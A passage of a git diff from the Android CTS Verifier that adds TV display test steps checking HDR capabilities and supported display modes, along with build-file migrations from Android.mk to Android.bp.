status.setImageResource(passed ? R.drawable.fs_good : R.drawable.fs_error);
setButtonEnabled(item, false);
@@ -78,7 +78,7 @@
/**
* Call this to create a test step where the user must perform some action.
*/
- protected View createUserItem(int instructionTextId, int buttonTextId, View.OnClickListener l) {
+ public View createUserItem(int instructionTextId, int buttonTextId, View.OnClickListener l) {
View item = mInflater.inflate(R.layout.tv_item, mItemList, false);
TextView instructions = (TextView) item.findViewById(R.id.instructions);
instructions.setText(instructionTextId);
@@ -93,7 +93,7 @@
/**
* Call this to create a test step where the user must perform some action.
*/
- protected View createUserItem(CharSequence instructionCharSequence,
+ public View createUserItem(CharSequence instructionCharSequence,
int buttonTextId, View.OnClickListener l) {
View item = mInflater.inflate(R.layout.tv_item, mItemList, false);
TextView instructions = (TextView) item.findViewById(R.id.instructions);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/AsyncTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/AsyncTestStep.java
new file mode 100644
index 0000000..37c33a3
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/AsyncTestStep.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import android.view.View;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+/**
+ * Encapsulates the logic of an asynchronous test step, which displays a human instructions and a
+ * button to start the test. For synchronous steps see {@link SyncTestStep}.
+ */
+public abstract class AsyncTestStep extends TestStepBase {
+
+ public AsyncTestStep(TvAppVerifierActivity context) {
+ super(context);
+ }
+
+ /**
+ * Runs the test logic, when finished calls {@link AsyncTestStep#done()}.
+ */
+ public abstract void runTestAsync();
+
+ @Override
+ protected void onButtonClickRunTest() {
+ // Disable the button, so the user can't run it twice.
+ disableButton();
+ showLoadingSpinner();
+ runTestAsync();
+ }
+
+ @Override
+ protected void done() {
+ hideLoadingSpinner();
+ super.done();
+ }
+
+ private void showLoadingSpinner() {
+ View spinner = mViewItem.findViewById(R.id.loadingSpinner);
+ spinner.setVisibility(View.VISIBLE);
+ }
+
+ private void hideLoadingSpinner() {
+ View spinner = mViewItem.findViewById(R.id.loadingSpinner);
+ spinner.setVisibility(View.INVISIBLE);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
new file mode 100644
index 0000000..7123be7
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayHdrCapabilitiesTestActivity.java
@@ -0,0 +1,212 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import android.view.Display;
+
+import androidx.annotation.StringRes;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+import com.google.common.base.Throwables;
+import com.google.common.collect.Range;
+
+import java.time.Duration;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Test to verify the HDR Capabilities API is correctly implemented.
+ *
+ * This test checks if
+ * <a href="https://developer.android.com/reference/android/view/Display.html#isHdr()">Display.isHdr()</a>
+ * and
+ * <a href="https://developer.android.com/reference/android/view/Display.html#getHdrCapabilities()">Display.getHdrCapabilities()</a>
+ * return correct results when 1. HDR Display is connected, 2. non-HDR
+ * Display is connected and 3. no display is connected.
+ */
+public class DisplayHdrCapabilitiesTestActivity extends TvAppVerifierActivity {
+ private static final float MAX_EXPECTED_LUMINANCE = 10_000f;
+ private static final int DISPLAY_DISCONNECT_WAIT_TIME_SECONDS = 5;
+
+ private TestSequence mTestSequence;
+
+ @Override
+ protected void setInfoResources() {
+ setInfoResources(R.string.tv_hdr_capabilities_test,
+ R.string.tv_hdr_capabilities_test_info, -1);
+ }
+
+ @Override
+ public String getTestDetails() {
+ return mTestSequence.getFailureDetails();
+ }
+
+ @Override
+ protected void createTestItems() {
+ List<TestStepBase> testSteps = new ArrayList<>();
+ testSteps.add(new NonHdrDisplayTestStep(this));
+ testSteps.add(new HdrDisplayTestStep(this));
+ testSteps.add(new NoDisplayTestStep(this));
+
+ mTestSequence = new TestSequence(this, testSteps);
+ mTestSequence.init();
+ }
+
+ private static class NonHdrDisplayTestStep extends SyncTestStep {
+
+ public NonHdrDisplayTestStep(TvAppVerifierActivity context) {
+ super(context);
+ }
+
+ @Override
+ protected String getInstructionText() {
+ return mContext.getString(R.string.tv_hdr_connect_no_hdr_display,
+ mContext.getString(getButtonStringId()));
+ }
+
+ @Override
+ protected String getStepName() {
+ return "Non HDR Display";
+ }
+
+ @Override
+ protected @StringRes int getButtonStringId() {
+ return R.string.tv_start_test;
+ }
+
+ @Override
+ public void runTest() {
+ Display display = mContext.getWindowManager().getDefaultDisplay();
+ getAsserter()
+ .withMessage("Display.isHdr()")
+ .that(display.isHdr())
+ .isFalse();
+ getAsserter()
+ .withMessage("Display.getHdrCapabilities()")
+ .that(display.getHdrCapabilities().getSupportedHdrTypes())
+ .isEmpty();
+ }
+ }
+
+ private static class HdrDisplayTestStep extends SyncTestStep {
+
+ public HdrDisplayTestStep(TvAppVerifierActivity context) {
+ super(context);
+ }
+
+ @Override
+ protected String getInstructionText() {
+ return mContext.getString(R.string.tv_hdr_connect_hdr_display,
+ mContext.getString(getButtonStringId()));
+ }
+
+ @Override
+ protected String getStepName() {
+ return "HDR Display";
+ }
+
+ @Override
+ protected @StringRes int getButtonStringId() {
+ return R.string.tv_start_test;
+ }
+
+ @Override
+ public void runTest() {
+ Display display = mContext.getWindowManager().getDefaultDisplay();
+
+ getAsserter()
+ .withMessage("Display.isHdr()")
+ .that(display.isHdr())
+ .isTrue();
+
+ Display.HdrCapabilities hdrCapabilities = display.getHdrCapabilities();
+
+ int[] supportedHdrTypes = hdrCapabilities.getSupportedHdrTypes();
+ Arrays.sort(supportedHdrTypes);
+
+ getAsserter()
+ .withMessage("Display.getHdrCapabilities().getSupportedTypes()")
+ .that(supportedHdrTypes)
+ .isEqualTo(new int[]{
+ Display.HdrCapabilities.HDR_TYPE_DOLBY_VISION,
+ Display.HdrCapabilities.HDR_TYPE_HDR10,
+ Display.HdrCapabilities.HDR_TYPE_HDR10_PLUS,
+ Display.HdrCapabilities.HDR_TYPE_HLG
+ });
+
+ float maxLuminance = hdrCapabilities.getDesiredMaxLuminance();
+ getAsserter()
+ .withMessage("Display.getHdrCapabilities().getDesiredMaxLuminance()")
+ .that(maxLuminance)
+ .isIn(Range.openClosed(0f, MAX_EXPECTED_LUMINANCE));
+
+ float minLuminance = hdrCapabilities.getDesiredMinLuminance();
+ getAsserter()
+ .withMessage("Display.getHdrCapabilities().getDesiredMinLuminance()")
+ .that(minLuminance)
+ .isIn(Range.closedOpen(0f, MAX_EXPECTED_LUMINANCE));
+
+ getAsserter()
+ .withMessage("Display.getHdrCapabilities().getDesiredMaxAverageLuminance()")
+ .that(hdrCapabilities.getDesiredMaxAverageLuminance())
+ .isIn(Range.openClosed(minLuminance, maxLuminance));
+ }
+ }
+
+ private static class NoDisplayTestStep extends AsyncTestStep {
+ public NoDisplayTestStep(TvAppVerifierActivity context) {
+ super(context);
+ }
+
+ @Override
+ protected String getInstructionText() {
+ return mContext.getString(R.string.tv_hdr_disconnect_display,
+ mContext.getString(getButtonStringId()),
+ DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
+ DISPLAY_DISCONNECT_WAIT_TIME_SECONDS+1);
+ }
+
+ @Override
+ protected String getStepName() {
+ return "No Display";
+ }
+
+ @Override
+ protected @StringRes int getButtonStringId() {
+ return R.string.tv_start_test;
+ }
+
+ @Override
+ public void runTestAsync() {
+ // Wait for the user to disconnect the display.
+ mContext.getPostTarget().postDelayed(() -> {
+ try {
+ // Verify the display APIs do not crash when the display is disconnected
+ Display display = mContext.getWindowManager().getDefaultDisplay();
+ display.isHdr();
+ display.getHdrCapabilities();
+ } catch (Exception e) {
+ getAsserter().fail(Throwables.getStackTraceAsString(e));
+ }
+ done();
+ }, Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis());
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
new file mode 100644
index 0000000..c9b4de1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/DisplayModesTestActivity.java
@@ -0,0 +1,287 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import android.content.Context;
+import android.hardware.display.DisplayManager;
+import android.os.Bundle;
+import android.view.Display;
+
+import androidx.annotation.StringRes;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+import com.google.common.base.Throwables;
+import com.google.common.truth.Correspondence;
+import com.google.common.truth.FailureMetadata;
+import com.google.common.truth.Subject;
+
+import java.time.Duration;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import javax.annotation.Nullable;
+
+/**
+ * Test for verifying that the platform correctly reports display resolution and refresh rate. More
+ * specifically Display.getMode() and Display.getSupportedModes() APIs are tested against reference
+ * displays.
+ */
+public class DisplayModesTestActivity extends TvAppVerifierActivity {
+ private static final int DISPLAY_DISCONNECT_WAIT_TIME_SECONDS = 5;
+ private static final float REFRESH_RATE_PRECISION = 0.01f;
+
+ private static final Subject.Factory<ModeSubject, Display.Mode> MODE_SUBJECT_FACTORY =
+ (failureMetadata, mode) -> new ModeSubject(failureMetadata, mode);
+
+ private static final Correspondence<Display.Mode, Mode> MODE_CORRESPONDENCE =
+ new Correspondence<Display.Mode, Mode>() {
+ @Override
+ public boolean compare(Display.Mode displayMode, Mode mode) {
+ return mode.isEquivalent(displayMode, REFRESH_RATE_PRECISION);
+ }
+
+ @Override
+ public String toString() {
+ return "is equivalent to";
+ }
+ };
+
+ private TestSequence mTestSequence;
+ private DisplayManager mDisplayManager;
+
+ @Override
+ protected void setInfoResources() {
+ setInfoResources(R.string.tv_display_modes_test, R.string.tv_display_modes_test_info, -1);
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ mDisplayManager = (DisplayManager) getSystemService(Context.DISPLAY_SERVICE);
+ }
+
+ @Override
+ protected void createTestItems() {
+ List<TestStepBase> testSteps = new ArrayList<>();
+ testSteps.add(new NoDisplayTestStep(this));
+ testSteps.add(new Display2160pTestStep(this));
+ testSteps.add(new Display1080pTestStep(this));
+ mTestSequence = new TestSequence(this, testSteps);
+ mTestSequence.init();
+ }
+
+ @Override
+ public String getTestDetails() {
+ return mTestSequence.getFailureDetails();
+ }
+
+ private class NoDisplayTestStep extends AsyncTestStep {
+ public NoDisplayTestStep(TvAppVerifierActivity context) {
+ super(context);
+ }
+
+ @Override
+ protected String getStepName() {
+ return mContext.getString(R.string.tv_display_modes_test_step_no_display);
+ }
+
+ @Override
+ protected String getInstructionText() {
+ return mContext.getString(
+ R.string.tv_display_modes_disconnect_display,
+ mContext.getString(getButtonStringId()),
+ DISPLAY_DISCONNECT_WAIT_TIME_SECONDS,
+ DISPLAY_DISCONNECT_WAIT_TIME_SECONDS + 1);
+ }
+
+ @Override
+ protected @StringRes int getButtonStringId() {
+ return R.string.tv_start_test;
+ }
+
+ @Override
+ public void runTestAsync() {
+ mContext.getPostTarget()
+ .postDelayed(
+ () -> {
+ try {
+ // Verify the display APIs do not crash when the display is
+ // disconnected
+ Display display =
+ mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY);
+ display.getMode();
+ display.getSupportedModes();
+ } catch (Exception e) {
+ getAsserter().fail(Throwables.getStackTraceAsString(e));
+ }
+ done();
+ },
+ Duration.ofSeconds(DISPLAY_DISCONNECT_WAIT_TIME_SECONDS).toMillis());
+ }
+ }
+
+ private class Display2160pTestStep extends SyncTestStep {
+ public Display2160pTestStep(TvAppVerifierActivity context) {
+ super(context);
+ }
+
+ @Override
+ protected String getStepName() {
+ return mContext.getString(R.string.tv_display_modes_test_step_2160p);
+ }
+
+ @Override
+ protected String getInstructionText() {
+ return mContext.getString(
+ R.string.tv_display_modes_connect_2160p_display,
+ mContext.getString(getButtonStringId()));
+ }
+
+ @Override
+ protected @StringRes int getButtonStringId() {
+ return R.string.tv_start_test;
+ }
+
+ @Override
+ public void runTest() {
+ Display display = mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY);
+ getAsserter()
+ .withMessage("Display.getMode()")
+ .about(MODE_SUBJECT_FACTORY)
+ .that(display.getMode())
+ .isEquivalentTo(new Mode(3840, 2160, 60f), REFRESH_RATE_PRECISION);
+
+ Mode[] expected2160pSupportedModes = new Mode[]{
+ new Mode(720, 480, 60f),
+ new Mode(720, 576, 50f),
+ // 720p modes
+ new Mode(1280, 720, 50f),
+ new Mode(1280, 720, 60f),
+ // 1080p modes
+ new Mode(1920, 1080, 24f),
+ new Mode(1920, 1080, 25f),
+ new Mode(1920, 1080, 30f),
+ new Mode(1920, 1080, 50f),
+ new Mode(1920, 1080, 60f),
+ // 2160p modes
+ new Mode(3840, 2160, 24f),
+ new Mode(3840, 2160, 25f),
+ new Mode(3840, 2160, 30f),
+ new Mode(3840, 2160, 50f),
+ new Mode(3840, 2160, 60f)
+ };
+ getAsserter()
+ .withMessage("Display.getSupportedModes()")
+ .that(Arrays.asList(display.getSupportedModes()))
+ .comparingElementsUsing(MODE_CORRESPONDENCE)
+ .containsAllIn(expected2160pSupportedModes);
+ }
+ }
+
+ private class Display1080pTestStep extends SyncTestStep {
+ public Display1080pTestStep(TvAppVerifierActivity context) {
+ super(context);
+ }
+
+ @Override
+ protected String getStepName() {
+ return mContext.getString(R.string.tv_display_modes_test_step_1080p);
+ }
+
+ @Override
+ protected String getInstructionText() {
+ return mContext.getString(
+ R.string.tv_display_modes_connect_1080p_display,
+ mContext.getString(getButtonStringId()));
+ }
+
+ @Override
+ protected @StringRes int getButtonStringId() {
+ return R.string.tv_start_test;
+ }
+
+ @Override
+ public void runTest() {
+ Display display = mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY);
+
+ getAsserter()
+ .withMessage("Display.getMode()")
+ .about(MODE_SUBJECT_FACTORY)
+ .that(display.getMode())
+ .isEquivalentTo(new Mode(1920, 1080, 60f), REFRESH_RATE_PRECISION);
+
+ final Mode[] expected1080pSupportedModes = new Mode[]{
+ new Mode(720, 480, 60f),
+ new Mode(720, 576, 50f),
+ // 720p modes
+ new Mode(1280, 720, 50f),
+ new Mode(1280, 720, 60f),
+ // 1080p modes
+ new Mode(1920, 1080, 24f),
+ new Mode(1920, 1080, 25f),
+ new Mode(1920, 1080, 30f),
+ new Mode(1920, 1080, 50f),
+ new Mode(1920, 1080, 60f),
+ };
+ getAsserter()
+ .withMessage("Display.getSupportedModes()")
+ .that(Arrays.asList(display.getSupportedModes()))
+ .comparingElementsUsing(MODE_CORRESPONDENCE)
+ .containsAllIn(expected1080pSupportedModes);
+ }
+ }
+
+ // We use a custom Mode class since the constructors of Display.Mode are hidden. Additionally,
+ // we want to use fuzzy comparision for frame rates which is not used in Display.Mode.equals().
+ private static class Mode {
+ public int mWidth;
+ public int mHeight;
+ public float mRefreshRate;
+
+ public Mode(int width, int height, float refreshRate) {
+ this.mWidth = width;
+ this.mHeight = height;
+ this.mRefreshRate = refreshRate;
+ }
+
+ public boolean isEquivalent(Display.Mode displayMode, float refreshRatePrecision) {
+ return mHeight == displayMode.getPhysicalHeight()
+ && mWidth == displayMode.getPhysicalWidth()
+ && Math.abs(mRefreshRate - displayMode.getRefreshRate()) < refreshRatePrecision;
+ }
+
+ @Override
+ public String toString() {
+ return String.format("%dx%d %.2f Hz", mWidth, mHeight, mRefreshRate);
+ }
+ }
+
+ private static class ModeSubject extends Subject<ModeSubject, Display.Mode> {
+ public ModeSubject(FailureMetadata failureMetadata, @Nullable Display.Mode subject) {
+ super(failureMetadata, subject);
+ }
+
+ public void isEquivalentTo(Mode mode, float refreshRatePrecision) {
+ if (!mode.isEquivalent(actual(), refreshRatePrecision)) {
+ failWithActual("expected", mode);
+ }
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/SyncTestStep.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/SyncTestStep.java
new file mode 100644
index 0000000..0c4181a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/SyncTestStep.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+/**
+ * Encapsulates the logic of a synchronously running test step, which displays a human instructions
+ * and a button to start the test. For asynchronous steps see {@link AsyncTestStep}.
+ */
+public abstract class SyncTestStep extends TestStepBase {
+ public SyncTestStep(TvAppVerifierActivity context) {
+ super(context);
+ }
+
+ public abstract void runTest();
+
+ @Override
+ protected void onButtonClickRunTest() {
+ runTest();
+ done();
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java
new file mode 100644
index 0000000..e80828a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestSequence.java
@@ -0,0 +1,66 @@
+package com.android.cts.verifier.tv.display;
+
+
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+import java.util.List;
+import java.util.stream.Collectors;
+
+/**
+ * A sequence of {@link TestStepBase}s within a {@link TvAppVerifierActivity}, which are meant to be
+ * executed one after another. The whole sequence passes if all containing test steps pass.
+ */
+public class TestSequence {
+ private List<TestStepBase> steps;
+ private TvAppVerifierActivity context;
+
+ /**
+ * @param context The TvAppVerifierActivity containing this sequence.
+ * @param steps List of the steps contained in the sequence.
+ */
+ public TestSequence(TvAppVerifierActivity context, List<TestStepBase> steps) {
+ this.context = context;
+ this.steps = steps;
+ }
+
+ /**
+ * Initializes the steps in the sequence by creating their UI components, ensuring they can be
+ * executed only in the given order and properly enable the pass/fails buttons of the
+ * surrounding {@link TvAppVerifierActivity}. This method should be called in the
+ * createTestItems() method of the {@link TvAppVerifierActivity} which contains this sequence.
+ */
+ public void init() {
+ if (steps.isEmpty()) {
+ return;
+ }
+
+ // Initialize all containing test steps.
+ steps.stream().forEach(step -> step.createUiElements());
+
+ // After a step is completed we enable the button of the next step.
+ for (int i = 0; i < steps.size() - 1; i++) {
+ final int next = i + 1;
+ steps.get(i).setOnDoneListener(() -> steps.get(next).enableButton());
+ }
+
+ // When the last step is done, mark the sequence as done.
+ steps.get(steps.size() - 1)
+ .setOnDoneListener(() -> onAllStepsDone());
+
+ // Enable the button of the first test step so the user can start it.
+ steps.get(0).enableButton();
+ }
+
+ public String getFailureDetails() {
+ return steps.stream()
+ .filter(step -> !step.hasPassed())
+ .map(step -> step.getFailureDetails())
+ .collect(Collectors.joining("\n"));
+ }
+
+ private void onAllStepsDone() {
+ // The sequence passes if all containing test steps pass.
+ boolean allTestStepsPass = steps.stream().allMatch(step -> step.hasPassed());
+ context.getPassButton().setEnabled(allTestStepsPass);
+ }
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java
new file mode 100644
index 0000000..ae2a65b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/TestStepBase.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.verifier.tv.display;
+
+import android.view.View;
+import android.widget.TextView;
+
+import androidx.annotation.StringRes;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.tv.TvAppVerifierActivity;
+
+import com.google.common.truth.FailureStrategy;
+import com.google.common.truth.StandardSubjectBuilder;
+
+import java.util.Arrays;
+
+/**
+ * Encapsulates the logic of a test step, which displays a human instructions and a button to start
+ * the test.
+ */
+public abstract class TestStepBase {
+ final protected TvAppVerifierActivity mContext;
+ protected View mViewItem;
+ private boolean mHasPassed;
+ private Runnable mOnDoneListener;
+ private String mFailureDetails;
+ private StandardSubjectBuilder mAsserter;
+
+ /**
+ * Constructs a test step containing instruction to the user and a button.
+ *
+ * @param context The test activity which this test step is part of.
+ */
+ public TestStepBase(TvAppVerifierActivity context) {
+ this.mContext = context;
+
+ FailureStrategy failureStrategy = assertionError -> {
+ appendFailureDetails(assertionError.getMessage());
+ mHasPassed = false;
+ };
+ mAsserter = StandardSubjectBuilder.forCustomFailureStrategy(failureStrategy);
+ mHasPassed = true;
+ }
+
+ public boolean hasPassed() {
+ return mHasPassed;
+ }
+
+ /**
+ * Creates the View for this test step in the context {@link TvAppVerifierActivity}.
+ */
+ public void createUiElements() {
+ mViewItem = mContext.createUserItem(
+ getInstructionText(),
+ getButtonStringId(),
+ (View view) -> {
+ appendInfoDetails("Running test step %s...", getStepName());
+ onButtonClickRunTest();
+ });
+ }
+
+ /**
+ * Enables the button of this test step.
+ */
+ public void enableButton() {
+ TvAppVerifierActivity.setButtonEnabled(mViewItem, true);
+ }
+
+ /**
+ * Disables the button of this test step.
+ */
+ public void disableButton() {
+ TvAppVerifierActivity.setButtonEnabled(mViewItem, false);
+ }
+
+ public void setOnDoneListener(Runnable listener) {
+ mOnDoneListener = listener;
+ }
+
+ public String getFailureDetails() {
+ return mFailureDetails;
+ }
+
+ /**
+ * Human readable name of this test step to be output to logs.
+ */
+ protected abstract String getStepName();
+
+ protected abstract void onButtonClickRunTest();
+
+ /**
+ * Returns the text of the test instruction visible to the user.
+ */
+ protected abstract String getInstructionText();
+
+ /**
+ * Returns id of string resource containing the text of the button.
+ */
+ protected abstract @StringRes int getButtonStringId();
+
+ protected void done() {
+ TvAppVerifierActivity.setPassState(mViewItem, mHasPassed);
+ if (mOnDoneListener != null) {
+ mOnDoneListener.run();
+ }
+ }
+
+ protected StandardSubjectBuilder getAsserter() {
+ return mAsserter;
+ }
+
+ protected void appendInfoDetails(String infoFormat, Object... args) {
+ String info = String.format(infoFormat, args);
+ String details = String.format("Info: %s", info);
+ appendDetails(details);
+ }
+
+ protected void appendFailureDetails(String failure) {
+ String details = String.format("Failure: %s", failure);
+ appendDetails(details);
+ appendMessageToView(mViewItem, details);
+ }
+
+ protected void appendDetails(String details) {
+ if (mFailureDetails == null) {
+ mFailureDetails = new String();
+ }
+ mFailureDetails += details + "\n";
+ }
+
+ private static void appendMessageToView(View item, String message) {
+ TextView instructions = item.findViewById(R.id.instructions);
+ instructions.setText(instructions.getText() + "\n" + message);
+ }
+}
diff --git a/apps/CtsVerifierInstantApp/Android.bp b/apps/CtsVerifierInstantApp/Android.bp
new file mode 100644
index 0000000..cc39927
--- /dev/null
+++ b/apps/CtsVerifierInstantApp/Android.bp
@@ -0,0 +1,26 @@
+//
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsVerifierInstantApp",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ test_suites: [
+ "cts",
+ "sts",
+ ],
+}
diff --git a/apps/ForceStopHelperApp/Android.bp b/apps/ForceStopHelperApp/Android.bp
new file mode 100644
index 0000000..06bfd98
--- /dev/null
+++ b/apps/ForceStopHelperApp/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsForceStopHelper",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ resource_dirs: ["res"],
+ sdk_version: "current",
+ min_sdk_version: "12",
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/apps/ForceStopHelperApp/Android.mk b/apps/ForceStopHelperApp/Android.mk
deleted file mode 100644
index 7ae586a..0000000
--- a/apps/ForceStopHelperApp/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsForceStopHelper
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
-
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 12
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/apps/CtsVerifierInstantApp/Android.mk b/apps/MainlineModuleDetector/Android.mk
similarity index 94%
rename from apps/CtsVerifierInstantApp/Android.mk
rename to apps/MainlineModuleDetector/Android.mk
index 13697e7..b99f8f7 100644
--- a/apps/CtsVerifierInstantApp/Android.mk
+++ b/apps/MainlineModuleDetector/Android.mk
@@ -23,7 +23,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_PACKAGE_NAME := CtsVerifierInstantApp
+LOCAL_PACKAGE_NAME := MainlineModuleDetector
LOCAL_SDK_VERSION := current
diff --git a/libs/rollback/testapp/A1.xml b/apps/MainlineModuleDetector/AndroidManifest.xml
similarity index 72%
copy from libs/rollback/testapp/A1.xml
copy to apps/MainlineModuleDetector/AndroidManifest.xml
index 2cd1825..9a36cc6 100644
--- a/libs/rollback/testapp/A1.xml
+++ b/apps/MainlineModuleDetector/AndroidManifest.xml
@@ -1,5 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+
+<!-- Copyright (C) 2018 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -15,15 +16,12 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.rollback.lib.testapp.A"
- android:versionCode="1"
- android:versionName="1.0" >
